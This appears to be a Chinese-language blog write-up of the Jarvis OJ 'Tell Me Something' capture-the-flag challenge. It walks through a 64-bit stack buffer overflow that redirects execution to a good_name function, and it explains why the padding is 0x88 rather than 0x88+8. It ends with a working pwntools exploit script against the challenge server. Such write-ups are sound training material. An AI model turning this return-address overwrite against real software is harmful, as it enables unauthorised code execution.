Jarvis Oj Pwn 学习笔记-Tell Me Something
记一个64位栈帧的坑!!!
老板儿,链接要得:
https://files.cnblogs.com/files/Magpie/guestbook.rar
nc pwn.jarvisoj.com 9876
第n次checksec...:
宣IDA觐见:
good_name一看就很妖孽,于是跟进去:
好嘛~搞定了这不!
看一下main函数的溢出点:
于是payload:
junk='A' * (0x88 + 0x08)
ret=p64(0x400620)
payload=junk + ret
写好后一个payload打过去。。。结果,,说好的shell呢!!! /(ㄒoㄒ)/~~
所以,有坑!
现在我们来看一下汇编:
main:
good_name:
仔细一看,惊了!
main:----->
good_name: & ----->
所以,,它的栈帧处理和平衡的方式和我们常见的那种形式(push ebp , mov ebp,esp , sub esp,size_of_frame)是不一样的!
因此,它的栈帧结构里实际上是没有old_ebp的,即junk的size为0x88而非0x88+8
这样一来问题就解决了,我们上exp:
1 from pwn import* 2 r=remote('pwn.jarvisoj.com','9876') 3 print r.recvline() 4 pad='a'*0x88 5 add=p64(0x400620) 6 payload=pad+add 7 r.sendline(payload) 8 print payload 9 print r.recvline() 10 print r.recvline()
从这道题中我们得到一个教训:
看汇编!
看汇编!!
一定要看汇编!!!